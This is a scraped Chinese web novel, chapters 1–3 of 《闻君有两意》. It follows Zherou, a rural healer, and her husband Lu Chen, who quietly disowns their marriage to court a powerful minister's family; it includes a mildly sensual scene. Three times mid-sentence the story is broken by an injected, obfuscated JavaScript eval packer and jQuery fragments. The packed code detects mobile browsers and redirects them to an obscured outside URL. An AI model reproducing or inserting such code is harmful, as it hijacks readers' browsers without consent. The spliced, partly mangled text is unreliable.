《闻君有两意》 1. 第 1 章 暮春时节,连着下了几日的细雨,庭院里杏花落满石阶,微风拂动,送来阵阵雨后清新的草木气息。 见天色终于放晴,折柔唤来女使帮忙,把她从洮州带来的药材搬去院中晒一晒,以免发霉虫蛀。 “娘子,这些粗活交给奴婢来干,您歇着就是了!” 小婵抱起药箱正往院中走,回头见折柔也要搭手,连忙出声劝阻。 “我何时这般娇气了?” 折柔抬起脸笑了笑,麻利地系好襻膊,和小婵一起将余下几个小木箱搬到院中,打开箱盖,取出里面盛装的草药,仔细放到阴凉干爽处,一一铺平晾晒。 这些药材都是她为陆谌准备的。 陆谌的左腿受过极重的箭伤,后来虽治好了外伤,行走无碍,却还是留下痛痹的症候,难以根除。 一旦遇上阴雨连绵,湿邪入侵,他膝处的旧伤便会发作,疼起来如刀刮骨,只有内服活经通络的汤药,再以姜片艾叶熏炙去寒,才能暂时缓解腿上的剧痛。 只是这些药材炮制起来工序繁琐,需得先用上好的黄酒反复闷润,再以文火慢炒,最后一片一片翻晒焙干,医馆卖的不如她做的耐心细致,药效难免会差上几分,折柔干脆全都亲手炮制,又千里迢迢地带来上京。 虽然辛苦麻烦一些,但只要能让陆谌少吃些苦头,她便觉得值当。 小婵从洮州跟随她来到上京,知晓她的用心,忍不住感慨:“娘子,您待郎君真好。” 想起再过几个时辰就该散值回来的人,折柔唇边不自觉带了点笑意,神色也柔和起来,“他待我也是极好的。” 洮州地处北方,冬日苦寒,她手上生了冻疮,又肿又痒,陆谌心疼得眼睛发红,冒着受军法责处的风险,夜间私出军营,潜入西羌人的领地猎来獾子,取油给她敷手。 后来他又去请教当地的老人,学着在家中垒了土炕,每日天不亮便顶着寒风外出劈柴烧火,等到她睡醒起身,整个屋子都是暖和的。 既是夫妻,自然应当相濡以沫。 正翻捡着药箱中的川穹和当归,忽听小婵咦了一声,语气中带着点不满,嘀咕道:“这老婆子怎么来了?一准没什么好事。” 折柔抬起头,顺着小婵的视线看过去,就见婆母身边的崔嬷嬷领着两个俏生生的丫鬟走进院来,淡淡地向她问了个好,“宁娘子。” “宁娘子”和“娘子”的称呼虽只差了一个字,意味却全然不同,摆明了是不把折柔看作陆府女君,小婵的脸色当即便有些难看。 折柔却并未在意,只放下手中的活计,未语先笑,道:“崔嬷嬷。” 崔嬷嬷忍不住抬起眼,细细打量了她一番。 折柔生得身量纤瘦,一头乌发黝黑浓密,用一根绛红丝绦缠作妇人发髻,穿着身素色裙裳,衣袖用襻膊向后束起,露出大半截莹白手臂,在日光下泛着软玉般的细腻柔光,姿容温婉,眉眼盈盈舒展,仿佛三月里鲜妍盛放的枝头杏花。 那日认亲时不曾细看,如今再瞧,果然是有两分狐媚姿色,怪道能迷得郎君昏了头,竟将这乡野村女带回上京来。 崔嬷嬷心中不屑,面上也带出几分冷淡,微微扬了扬头,曼声道:“夫人疼惜郎君办差辛苦,特命老奴挑了两个伶俐乖顺的丫头,过来侍奉郎君起居。有劳宁娘子,替她们安排个住处。” 话音将落,身后两个丫鬟袅袅走上前来,向折柔行了个万福礼,“宁娘子。” 两人都约莫十六七岁的年纪,水葱似的身段,声音娇柔婉转,仿若黄莺出谷。 这是明晃晃地要往陆谌的房里塞人。 折柔抿唇,一时没有作声。 小婵明白过来,脸色唰地就变了,急道:“我们院中不缺人,郎君与娘子好得很,用不着旁人来侍奉!” “果然是小门小户的破落出身,竟这般不知礼数。好叫你这婢子知道,古礼有言:‘长者赐,不敢辞’。” 崔嬷嬷冷笑一声,余光瞥过折柔,“莫说宁娘子算不得名正言顺的陆府女君,即便她是,那也断断没有违逆婆母的道理!” 那目光里的轻蔑与讥诮丝毫不加掩饰,像鞭子一样抽在人身上,刺得折柔心口一阵窒闷,不由得暗暗掐紧了掌心。 崔嬷嬷是陆谌阿娘郑兰璧的陪嫁嬷嬷,她的态度,自然就是郑兰璧的态度。 她随陆谌来到上京已有小半个月,但也只和郑兰璧见过一回。 郑兰璧嫌她出身低微,不肯认她做儿妇,不肯认下她与陆谌的婚事,甚至讥讽她不知廉耻,自奔为眷,勾引郎君。 勾引。 可什么叫勾引呢? 她与陆谌明明是两情相悦、共过患难的少年夫妻。 折柔是个孤女,爹娘亡故得早,从小无依无靠,只能寄住在叔父的医馆里,小心翼翼地讨好叔父婶娘过活,不想后来堂兄欠下一大笔赌债,叔父竟要将她卖去抵债,她没有办法,只能逃。 她连包袱都来不及收拾,只戴着阿娘留给她的一对银镯,趁着夜深人静,偷偷溜出医馆后门。 天大地大,夜色苍茫,折柔独自一个人,不知自己该往哪里去。 她没有身份凭由,过不了出城的勘验,只能去到一处废旧的城隍庙里暂时落脚,许是见她一个小娘子独身无依,有无赖想要寻机轻薄,是陆谌出手救下了她。 那时他的形容也极为狼狈,浑身是血,奄奄一息地倚靠在城隍庙的神像下,左膝上还钉着一支长长的羽箭,几近透骨。 见折柔寻来草药碾碎,给他止血治伤,陆谌微有些诧异,哑声问:“……你懂医术?” 折柔点点头,谨慎回答:“学过一些。” “你帮我治伤,我护你周全……如何?” 陆谌死死攥住折柔的裙角,仰起脸看向她,咬紧了牙,几乎是一字一句地道:“我的腿,不能废。求你……” 折柔被那眼神看得心口一颤,鬼使神差般地应允下来,“好。” 他的伤实在太重,没有钱买药,折柔便自己入山去采,再将多余的草药卖去镇上,换些吃食,勉强养活自己和陆谌两个人。 在那个破旧的城隍庙里,他们几乎是相依为命地度过了小半年,她治好了陆谌的腿伤,扶着他重新站起来,陆谌帮她看护门庭,劈柴做饭。 那一日,陆谌与她坦白了自己的身世,称他本是官宦人家的郎君,因父罪被判充军,流放途中遭遇山匪,如今伤势好转,需得去投军挣前程,然后目光灼灼地看过来,问折柔可愿嫁他为妻。 刹那间,折柔仿佛听见自己的心脏漏跳了一拍,颊边霎时染上一片热腾腾的绯红。 愿的,她自然是愿的。 婚事办得仓促简陋,却也用心,两人合过生辰八字,将婚书递上官府落籍,陆谌用他为数不多的饷银赁了一处破旧小宅,二人拜过天地,给近邻送一碗水酒,便算礼成。 那段日子虽然过得清贫困窘,但很自在,他们两个手把手一同筑起小家,一点一点地,屋顶换了新瓦,院中铺了青石板,还围出一小片菜畦,养了几只鸡鸭。 知道她爱吃鲜脆的酱菜,陆谌索性在院中支了一个小竹棚,这样一来,哪怕是在冬日也能种些耐寒的菘菜和蕈菇。 成亲三载,陆谌于她而言,不仅仅是年少慕艾,更是生死相依的亲人。 他们一起经营着自己的小家,让她不必再寄人篱下,不用再漂泊,更是让她在爹娘故去的许多年后,第一次感觉到了脚踏实地的安稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861149|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 如今陆谌凭借军功起复,折柔跟随着从洮州来到上京,也算得是背井离乡,但她并不害怕,只要有他在,上京就会是她的家。 若是从前在洮州,她定不会受崔嬷嬷这等闲气,可如今她初来上京,人地两疏,郑兰璧终归是陆谌的生母,是他的至亲长辈,即便有意磋磨为难,她多忍让几分便是了。 至于这两个丫鬟,暂且留下也无妨,等陆谌散值回来,让他自己打发去罢。 小婵被气得脸色发白,还要张口反驳,折柔伸手拉住她,安抚地笑了笑,“没事,你先领她们两个去西厢认认屋子,等郎君回来再做安排。” 崔嬷嬷满意了,行过礼转身走出院子,小婵忿忿地瞪了她一眼,将两个丫鬟领去厢房。 ** 晚间堂屋里点了灯烛,小厨房送来陆谌爱吃的笋蕨馄饨,折柔等了小半晌,直到馄饨都凉透了,陆谌也没有回来。 约莫他是值上有事被绊住了脚,折柔也不再多等,匆匆用过饭,想着自己白日里翻捡药材,头发都染上了药味,左右无事,索性唤来热水,仔细地洗了个澡。 小婵怕她因为那两个丫鬟的事堵心,一边给她擦头发,一边嘟囔着开解:“娘子千万不要多想,郎君是真心待娘子好的,定不会被那两个丫鬟迷了眼……” 折柔失笑,打发小婵赶紧去歇着,“放心罢,他不会的。” 只不过话虽这么说,一想到崔嬷嬷和郑兰璧的模样,她心里就隐隐有些闷胀,说不清是什么滋味,不上不下的。 折柔怔怔地抬头望向窗外,天色已经黑透,乌蒙蒙的,看不到远处。 她从小寄人篱下,看尽白眼,最大的心愿就是能有个自己的家,和心爱的郎君过点自在安生的日子,再也不必如浮萍一般漂泊无定。 她盼望着一家人能够和睦安乐。 “怎么在夜里洗头发?等下擦不干透,看明日哪个头疼。” 折柔闻声转过头去。 陆谌不知何时回来了,穿一身墨色交领襕袍,躞蹀带束出窄而挺拔的腰身,说着话,迈步进了堂屋。 走得近些,烛光映出他锋锐的五官,眼似点墨,高鼻薄唇,唇角浮着浅淡笑意,越发衬得下颌线条清瘦利落。 打从少年时第一次见到陆谌,折柔就觉得他生得好看。 那时他还带着些读书人的儒雅清隽,后来在沙场上锤炼过几年,就尽数化作了逼人的锐气。 不笑时,薄唇微抿着,颇有些显凶,可每每望着她笑起来,却又温柔得好似云散雨霁,冰消雪溶。 心头微微一热,浮着的心绪忽然安定下来,折柔仰起脸,笑盈盈地看向他,“你回来啦。” 陆谌应了一声,走到折柔身后,极自然地从她手里拿过帕子,一边帮她擦起头发,一边顺着她方才的视线往外瞧,故意啧了一声:“在看什么呢,这般入神?是不是在看西厢房里的那两个小丫头,让我撵跑没有?” 折柔让他闹了个大红脸,抬手朝他腰间拧了一把。 陆谌也不躲,只反握住她的手,继续邀功似的道:“那两个丫头生得着实水灵,可我一眼都没瞧,直接吩咐南衡给打发走了。” 这人好生油滑,折柔忍不住笑睨他一眼,把他往一旁推,“你没瞧,怎知人家生得水灵?” “只看了一眼,成不成?”陆谌闷闷笑起来,顺着力道将她揽进怀里,吻了吻她的发顶,“放心罢,母亲那边,不会再送人过来。” 两个人离得近了,折柔忽然闻到他身上有股淡淡的香气,一时也没有多想,只笑着凑近嗅了嗅,“衣裳沾的是什么香?比平常用的好闻呢。” 不知是不是她的错觉,陆谌的身子,似乎微微绷紧了一霎。 2. 第 2 章 心头隐约浮起一丝异样,折柔还未及细思,就听陆谌淡淡“唔”了一声,“今日下值,我去了趟徐相府上,那人性喜风雅,素爱熏香,许是沾上了他家中的荀令十里香。” 提起徐崇徐相公,陆谌眉眼微冷,声音里也染上一抹倦意。 看见他的神色,折柔心里那点若有似无的不安尽数化作了担忧。 陆谌曾与她提起过,说徐崇此人,面善心狠,城府深沉。 徐陆两家原是世交,彼时徐崇还只是名不见经传的翰林学士,陆父却已官居参知政事,身兼太子太傅,对徐崇一向多有提携。 不想后来东宫谋逆被废,陆父因此牵连获罪,除了陆谌的表弟谢云舟曾向皇帝长跪求情,朝野上下,再无一人敢为陆家说话,徐崇更是直接将陆谌拒之门外,流放路上也只任由他自生自灭。 短短四载,风水轮换,陆家门庭败落,徐崇却摇身成为权倾朝野的尚书仆射,简在帝心,深得信重。 她并不太懂朝政上的事,也不甚清楚两家的旧日恩怨,只是看着陆谌每日越发忙碌,比起在洮州的时候,脸上虽也带着笑,却总是难掩倦色,人也清减了不少。 想到这些,折柔不免心疼,抬手摸了摸陆谌的脸颊,轻声宽慰:“秉言,我们不求功名,只求平安。实在不成,我们一家人回去洮州,也是照常过日子。” 空气安静片刻,陆谌锋锐深邃的眼睛缓缓睁开一线,静静地看了她一会儿,微笑道,“莫怕,我心中有数。” “有你在,我自然不怕的。”折柔笑起来,抚了抚他的鬓角,眸光盈盈地望着他,“我的阿郎,是人中龙凤呢。” 陆谌捉住她的指尖,无意识地摩挲了几下,抬眼看过去,似是有话要讲,最后却又什么都没说,只低低唤了一声,“妱妱……” 折柔笑笑,直觉陆谌是有什么心事,但见他不愿多说,她便也不多问,只催着他去沐浴歇息。 净室里响起潺潺的水声,折柔倚靠在榻边,随手拿起床头的医书手札翻看。 翻过几页书纸,折柔心绪渐定,正看得入神,眼前光线忽然一暗,陆谌靠了过来,带着点沐浴后清新的水汽,一把抽走她手里的医书,扔到一旁,笑道:“往后不用再去行医问诊,怎的还这般用功?我竟是娶了位夫子回家么?” “那不成。”折柔笑嗔了他一眼,起身去把书札仔细放平整,“我还想盘一家药坊,卖些成药方剂呢。” “家中不缺银钱,何必再去辛苦。” 折柔笑笑:“我想寻些事做。” 好像这样便能在陌生的上京城扎下根来。 陆谌垂眸看了她一眼,“上京的药局和医铺大多开在马行街上,改日我带你去转转。那附近是州北瓦子,夜间极热闹,还有你爱吃的旋煎羊肉。” 折柔眸光一亮,欢喜道:“当真?” “我几时骗过你?” 陆谌低笑一声,在榻上伸直了长腿,伸手揽过她的肩膀,折柔的头枕着他的手臂,身子松散地窝在他怀里。 陆谌微低下头,就看见她鸦青的发丝松松挽去一侧,露出一截白嫩的脖颈,上面缠绕着一根细细的红线。 他幼时的玉锁,她一直贴身戴着。 陆谌眸光微暗,又将折柔往怀里搂了搂,低头寻住她的唇,流连地含吮轻吻,呼吸交错间,带着薄茧的温热手掌顺着衣摆探了进去,熟稔地握上那处柔软,用掌心细细摩挲。 “妱妱。” 低沉温柔的喃声响在耳畔,折柔不自觉地拢紧双腿,仰起颈子轻轻喘息,唇齿间缠绵出他的名字,“陆秉言……” 屋中渐渐安静下来,只听得见交缠起伏的呼吸声,夜风拂过庭院,屋檐下的芭蕉叶沙沙作响,仿佛摇落一蓬春雨。 折柔迷迷糊糊地睁开眼,看着水波般晃动起伏的瓜瓞绵绵帏纱帐顶,恍惚间想起曾在洮州小院种下的石榴树,可惜还不曾等到开花,他们便已搬来了上京。 她轻喘着,抬手抚了抚陆谌的眉骨,“我想在院子里种一株石榴……” 陆谌明白她的心思,抵着她发汗的额头,低低笑了一声,“好。” “秋千上……置个竹棚,夏日里消闲看书……” “嗯。”他呼吸急沉,动作却越发温柔,顺着她的反应时缓时深,“都听你的。” 折柔红了脸,轻轻闭上眼睛,唇边带着满足的浅笑。 她喜欢这样一点一点安置,好像心也跟着安定下来,让人对往后的日子充满期冀。 “还想……唔——” 余下的话悉数被堵了回去,他似有些不满,在她耳尖轻咬了一口,灼热呼吸直呵着她的耳,“专心些。” …… 待到云散雨收,清理干净后已过子时,折柔眼皮发沉,倦得半梦半醒,过不多时便睡得熟了。 夜深人寂,月影轻摇。 陆谌望向她恬淡的睡颜,静静看了半晌,伸手将她鬓边汗湿的碎发捋到耳后,帷帐中光线黯淡,映着朦胧的月影,他眼中隐约闪过一丝晦色,却又看不真切,只飞快地匿入黑暗。 ** 许是昨夜折腾太久,折柔这一觉睡得极沉,醒来也不知是何时辰了,帐幔被掩得严实,光线昏沉沉的。 浑身都泛着酸软,折柔朦朦胧胧地探向身畔,却摸了个空。 茫然地反应了一会儿,她伸出手,轻轻撩开一角床帏往外看。 陆谌不知何时起来的,已穿上一身牙白云纹箭袖襕袍,正站在屏风前整理衣袖,见折柔醒了,走过来摸摸她的脸,低声道:“时辰还早,困就再睡会儿,不急着起来。” “嗯。” 折柔实在疲乏,便点点头,向上提了提被衾。 陆谌回身拿起案上的躞蹀带,“今日大约要晚些回来,若是用饭,不必等我。” 折柔慵懒地裹着锦被,听他这样说,随口问道:“你今日不是休沐?” 她记得今天是旬日,陆谌如今担着龙神卫都虞候的差事,按例应当每旬日一休。 陆谌系扣躞蹀带的动作微顿一霎,随即不着痕迹地点了点头,“本应休沐,但有些军务需得尽快处置。” 折柔低低应一声,人还有些困倦,微阖着眼眸,不曾看见他神色间的异样。 理好衣裳,陆谌敛眸看了她一眼,随即迈步走出堂屋,沿着石阶回廊,去往郑兰璧居住的松春院。 中间过一道内门,走进小院,庭中两棵高直的梧桐将将抽出新叶,屋前几簇山茶花开得正盛,粉霞红绶,琼玉点点。 郑兰璧起身不久,在小佛堂念了两遍楞严经,由女使伺候着梳洗停当,两边鬓发紧紧抿起,只簪了一根素银细钗,发间再别无装饰,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861150|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衬得整个人高洁素雅,神态矜淡。 陆谌进了门,向她行礼唤道:“阿娘。” 闻声,郑兰璧抬起头,朝他看去一眼,脸上隐有愠怒。 当年陆家获罪,她身为官眷,本应没入贱籍,幸得皇帝开恩才免去牵连,只是留在郑氏族中寄居静修。 虽是如此,她这四年也尝够了世态炎凉,见遍人情冷暖,直到儿子立下军功,重新撑起陆家门楣,她才复又挺直腰背,可如今这儿子,却为了个乡野女子折损她的颜面。 “你还知晓有我这个阿娘?” 陆谌不以为意地笑笑,“阿娘这是生儿子的气了?” 郑兰璧冷着脸,抿紧了唇角。 屋内气氛一时有些凝滞,崔嬷嬷忙去耳房叫人烹沏新茶,不多时,端来一碟陆谌少时爱吃的松黄饼,又斟了一盏他平素喝惯的阳羡雪芽,恭敬地送到他手边放好。 陆谌淡淡调开视线,全作没看见。 郑兰璧一言不发地看了半晌,勉强压抑住怒意,紧绷着嗓音吩咐:“阿菊,你先下去,他这是给东院那个做脸来了,此事与你无干。” 冷眼瞧着崔嬷嬷退下去,陆谌勾了勾唇,笑意却不达眼底,“我知阿娘不喜宁氏,可她总归是儿子的人,还请阿娘往后莫再为难她。” “这叫什么话!”郑兰璧忍不住斥道:“难不成,你当真打算让那个乡野村妇做正妻?” 陆谌拧起眉,忍耐着没有出声。 郑兰璧深深吸了一口气,“我且问你,前不久宫宴一见,徐十六娘对你生了情意,可有此事?” 陆谌愣了一瞬,眉眼微沉,“母亲整日里都听旁人胡言些什么?” 郑兰璧并未反驳,只抬眸深深地看着他:“你如今刚回上京,立足未稳,正当寻觅个得力的妻族,岂能为个区区女子误了前程?徐崇与我们陆家虽有过嫌隙,但如今他权势正盛,徐家二娘更是嫁作了三皇子妃,倘若能与徐家结下亲事,也算勾清往日恩怨,对你仕途大有助益。” “四年前你父亲因言获罪,你也被革去功名,从此只能做个武夫,这世道文人清贵,武人微贱,难道你甘心如此?就算你不在意,你父亲在九泉之下,如何瞑目安心?只需结一门好亲,待到来日,你既有从龙之功,又是连襟皇戚,复你功名又有何难?” 陆谌沉默着,侧脸线条绷得冷硬。 见他一直不作声,郑兰璧的神色渐渐冷淡下来,语气里带上了一丝不容置喙的味道:“你肩上担的是陆府门楣,若是实在喜欢,想养做贵妾,我不是不能由着你,但正妻之位,断断容不得你任性胡来。” 安静片刻,陆谌看了她一眼,低垂下眼睫,“此事我自有计较,母亲不必再提。” 他行过礼,转身朝门外走去。 郑兰璧倏地起身叫住他:“三郎!” “你对徐十六娘当真全然无意?那昨日你去了何处?” 闻言,陆谌脸色微变,站在门边缓缓回过身,薄唇抿得冷峻,“母亲此言何意?” 瞧见他异样的神色,郑兰璧心中原本还模糊着的猜测渐渐变得笃定。 “你不必瞒我。”郑兰璧微微扬了扬头,心里颇觉宽慰,又似是想到了什么可笑的事,“只有宁氏那等没甚见识的乡野村妇,才会轻易地被你蒙在鼓里,还傻愣愣地盼着与你做什么正头夫妻。” 3. 第 3 章 陆谌立在原地,眉眼间凝出一股冷意。 他回到上京不足一月,还不及仔细采买仆役,府里使唤的人手多是从郑氏各房添凑而来,如今瞧着,果然是祸患。 只是事已至此,再想也无益,陆谌皱了皱眉,忍耐着性子道:“母亲既知晓我去了何处,便应清楚,昨日不过是寻常宴饮雅集,与旁人并无干系,还望母亲莫要妄言。” 郑兰璧稍稍抿起唇角,并不大相信,还要再问,就见陆谌已经转身离开,她不由跟着往前走了几步,唤道:“三郎?” 陆谌在阶下站定,回过头,唇边噙了点薄薄的笑,“知晓我行踪的小厮,左不过就那三两个,待让我揪出来,必不能留。母亲既闲着无事,便预备一份恤银吧。” “三郎!”郑兰璧脸色唰地变白,似是不可置信地看向他,声音都在发颤,“你……你这是在和谁说话?!” 陆谌敛眉看了她一眼,终是什么都没说,径直走出了院门。 郑兰璧看着儿子头也不回地走远,一时间气得站都站不稳,身子晃了两晃,崔嬷嬷赶忙上前扶住,“夫人,夫人……” 郑兰璧借力站稳,缓缓匀过一口气,眼角润湿,“三郎幼时极乖顺,一向最听我的话,嘴也甜……是在外那几年养坏了性子。” “夫人莫要多想。”崔嬷嬷忙握住她的手,宽慰道:“说到底,郎君与夫人才是连着心的。年轻小郎哪个不爱鲜妍颜色?上京城富贵迷人眼,等郎君多见几个高门贵女,不愁他对宁氏淡不下来。” 郑兰璧侧过脸,抹去眼角的泪珠,神色也慢慢冷淡下来,“陆家如今不比从前,半步都不能走错。婚姻大事总归是要父母之命,我若给他定下亲事,也由不得他不从。” “夫人说得可不正是!”崔嬷嬷连连附和,又朝东院的方向白了一眼,嗤道:“便是告到官府,那也得是父母定下的为正室,在外私娶的顶多就算个妾。” 郑兰璧抬手捋了捋发丝,淡声吩咐道:“阿菊,你带上我的名帖,去请忠勤郡伯夫人来咱们府上坐坐。 她家三娘和徐十六娘同为公主伴读,她又是我长嫂的表亲,有这样一层渊源在,必能问她打听些消息。” ** 陆谌走后,折柔也没有再歇太久,很快便披衣下榻,梳洗收拾。 虽然郑兰璧明言不准她入松春院请安,但府里毕竟人多眼杂,她不想落个惫懒名声。 更何况,陆谌如今回京任职,官眷之间免不了要往来应酬,时人好风雅,寻常的宴上少不得焚香点茶,又或是插花挂画。她出身乡野,对这些东西所知甚少,需得尽快学起来才行。 她不求四雅俱都精通,但好歹要能知晓一二,否则日后宴饮间谈论起来,她若是半点不懂,必会惹人笑话。 旁人不单会看低了她,也会看低了陆谌。 折柔知晓自己出身低微,但她并不因此觉得自己微贱,凡事只需用心习学,她亦不会比官家娘子差到哪里去。 用过朝食,折柔和小婵一起整理箱笼。 她从洮州带来的东西并不算多,最要紧的是医书和手札,还有炮制好的药材,早都已经归置妥当,剩下的大多是些杂物,其中有几样土仪,她打算过两日拿去送给小姑陆琬。 陆琬原是陆谌的堂妹,因着父亲早逝母亲再嫁,自小便寄居在陆谌家中养大。 四年前陆家出事,她不免也受了些牵连,但好在原本定亲的昌平伯府守信重义,并未悔婚,仍旧迎了她做世子夫人。 后来折柔与陆谌成婚,消息送回上京,陆家的亲眷中只有陆琬给她回了礼,是一本颇为难寻的医书拓本,大抵是怕在路上颠簸磨损,特地用牛皮油纸仔仔细细地包裹了好几层,陆琬还在信中亲热地唤她阿嫂,祝她夫妻恩爱,百年好合。 折柔至今还记得,收到回信时自己有多欢喜,临睡前又忍不住把信笺放到床头,时不时瞧上一眼,以至于被陆谌捏着鼻子笑她傻。 怎么能不欢喜?他的妹妹唤她阿嫂呢。 再过几日便是陆琬家中小女郎的满月礼,折柔早已备好了厚礼,想着和这几样土仪一道送去,都是她的一份心意。 “娘子,您瞧这个匣子放哪里合适?”小婵从旁边的箱笼里抱起个雕花木盒,向她询问。 折柔一见那木盒便笑了,伸手接过来,柔声道:“给我罢。” 这匣子里装的都是陆谌从前送她的一些旧物,有书信,有打马象棋,还有一对褪了色的磨喝乐。 成亲后的第一个上元节,她和陆谌去逛灯会,遇见胡商在卖磨喝乐。 小时候在叔父的医馆里,她曾见婶娘给堂姐买过一只,描金彩绘,憨胖可爱,堂姐给它搭配着换各色衣裳,折柔只能远远地偷瞧着,心里是极羡慕的。 可胡商的一对磨喝乐要卖上四五十贯钱,那时陆谌一个月的饷银也不过才十贯,她悄悄捏了捏荷包,转头强装不喜欢。 陆谌看出她眼馋,于是自己挖来新土,捏了两个粗糙笨拙的胖泥娃娃,提笔勾绘出五官神态,还用剩下的陶泥捏了一只泥叫叫,说要等着留给孩子玩。 细雪飘飘,她坐在檐下,看他捏泥人,身旁炭盆里烤着香糯的芋头。 陆谌那时笑着逗她,说等他们日后有了孩子,一定既聪慧又俊俏,他连名字都想好了,生的若是哥儿就叫敏郎,如果是姐儿便叫敏娘。 折柔被他惹得满脸通红,随手攥了雪团砸他,嗔他不知羞。 想起旧事,折柔心头发软,摸了摸两个磨喝乐灰扑扑的小脸,仔细地把它们放进衣柜抽格里。 归置完杂物,折柔换了身衣裳,带着小婵去往御街附近的州桥集市,打算采买些香料,闲时学着制香。 行到繁华处,长街上酒楼脚店连绵不尽,酒幡招展,人流往来,熙熙攘攘,入目极尽热闹。 买完香料,再往东走,恰好路过一家闲食铺子,折柔给小婵买了一碗沙糖冰雪小元子。 “味道好么?” “好吃!多谢娘子!” 小婵脸上漾起陶陶然的傻笑,折柔也跟着笑起来,抬手捏了捏她的小脸。 又吃下一勺小元子,小婵仰起脸正要说话,忽然望见长街尽头的一处高门贵宅,她迟疑了下,又欢喜道:“娘子快瞧,那不是郎君么!” 折柔一愣,回头顺着她的视线看过去,就见陆谌在一处宅门外翻身下马,将马鞭递给侍奉的小厮,整了整衣襟袍袖,身形峻挺,好似一竿劲竹。 灿烂夕晖透过松树枝桠,斜斜落在他身上,让人看不清面容神色。 “娘子可要去寻郎君?”小婵兴冲冲地问。 州桥附近的宅院都是高门显贵,折柔见那正门的两掖高悬着八盏竹笼官灯,灯身上用工笔隶书写作“徐”字,想来是徐崇徐相公的府邸。 “他有正事要忙,我们不去扰他。” 折柔笑着摇了摇头,拉起小婵,转身去往南边的青鱼行市。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861151|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆谌一向最爱吃她做的酒糟鱼鲊,从前在洮州,每逢春秋时节她都会腌上几坛。 这个时令的青鱼最是肥嫩鲜美,去鳞洗净后切做薄薄的生鱼片,再加上莳萝籽、橘皮丝、红曲粉和姜末,揉匀后装坛,腌上半月再开封,用来下饭佐酒风味极好。 “……上将军?” 徐府的门房正要引陆谌入府,却见他望着州桥尽头林立的酒楼商铺,似在寻些什么,不由轻唤了一声。 陆谌闻声回过头来,勾唇笑了笑,“无事,走罢。” 门房忙应了一声,躬身比手引他走进前院。 徐府外表看着古朴雅素,内造却甚为奢靡,楠木为梁,描金覆漆,廊下四处悬挂着碧玉竹笼细纱灯。 陆谌只扫了一眼,便收回视线。 这些竹笼灯制作不易,需得先在四时暖房栽种碧玉竹,取将要生叶的嫩竹削作透光的薄皮,多一分则落俗,少一分则易折,如此一盏不知要耗费多少人力工夫,在徐府却只被用作可以随意耗损的檐下风灯。 行至书房门前,陆谌由管事引进了屋,只见徐崇正坐在一方雕花矮几后头,用小碾研磨着茶饼。他已年逾五旬,两鬓斑白,身形微微发福,乍一瞧去甚是和善。 陆谌拱手行礼,“徐相公。” “贤侄。”徐崇抬起头,未语先带三分笑,比手请他坐,“王仲乾的事,有劳贤侄了。” 说着,又叹了口气,继续道:“老夫这学生委实不像话,竟干出子纳父妾这等荒唐事,若是当真叫人暗中把那妾室押回上京,被谏院群起而参,依老夫看,他这两淮转运使的差事便是做到头了。” 陆谌牵唇笑了下,“相公言重。押人的亲事官曾是晚辈在西军的同袍,与我颇有几分交情,向他讨个人情不过举手之劳,晚辈略表心意,只望日后朝堂之上,能多得相公提点。” “贤侄何必见外。”徐崇怅然道,“当年若非王仲乾上表弹劾,官家或许不会迁怒到陆家,这是老夫管束不力,眼瞧着伯远兄落难,老夫爱莫能助,心中实是愧怍。” 陆谌眉目平静,不带一丝波澜,“家父获罪是受东宫牵连,无论如何,都与王漕台扯不上干系。” 徐崇抬眼,面色温和带笑,眼神却如鹰隼般紧紧盯住对面的青年。 “更何况,”陆谌迎着他的目光,唇边挑起了点薄薄的笑意,“晚辈在洮州从军,沙场凶险,几度经历生死,终是明白了一个道理——去者已矣,活着的人都应当朝前看。” 闻言,徐崇朗声笑了起来,将磨好的龙凤团茶细末轻轻拨入兔毫盏,取水浇注,“贤侄能如此作想,甚好。” 数汤过后,建盏中轻云渐生,缭乱袅袅。 徐崇不疾不徐地取筅击拂,似是随意寒暄道:“贤侄文武两器,佼佼不凡,若是谁家能得贤侄做东床快婿,怕是梦中都能笑醒了。只可惜……” 停顿片刻,他含笑看向陆谌,目光中隐有审视之意,“老夫听闻,贤侄在洮州时,似乎已娶了一房妻室?” 话音落下,他身后的那架屏风忽地发出一丝响动,短促,轻微,像是腰间玉佩轻轻磕碰了一下。 陆谌只作全然未觉,余光瞥过屏风下露出的一角蹙金刺绣披帛,又不动声色地收回视线。 片刻,他听见自己平静的声音在屋内响起。 “确有此事。但说来却是晚辈不孝,这门亲事不曾得家慈首肯,只能算是在外私娶,于礼法不合,亦作不得数。” 4. 第 4 章 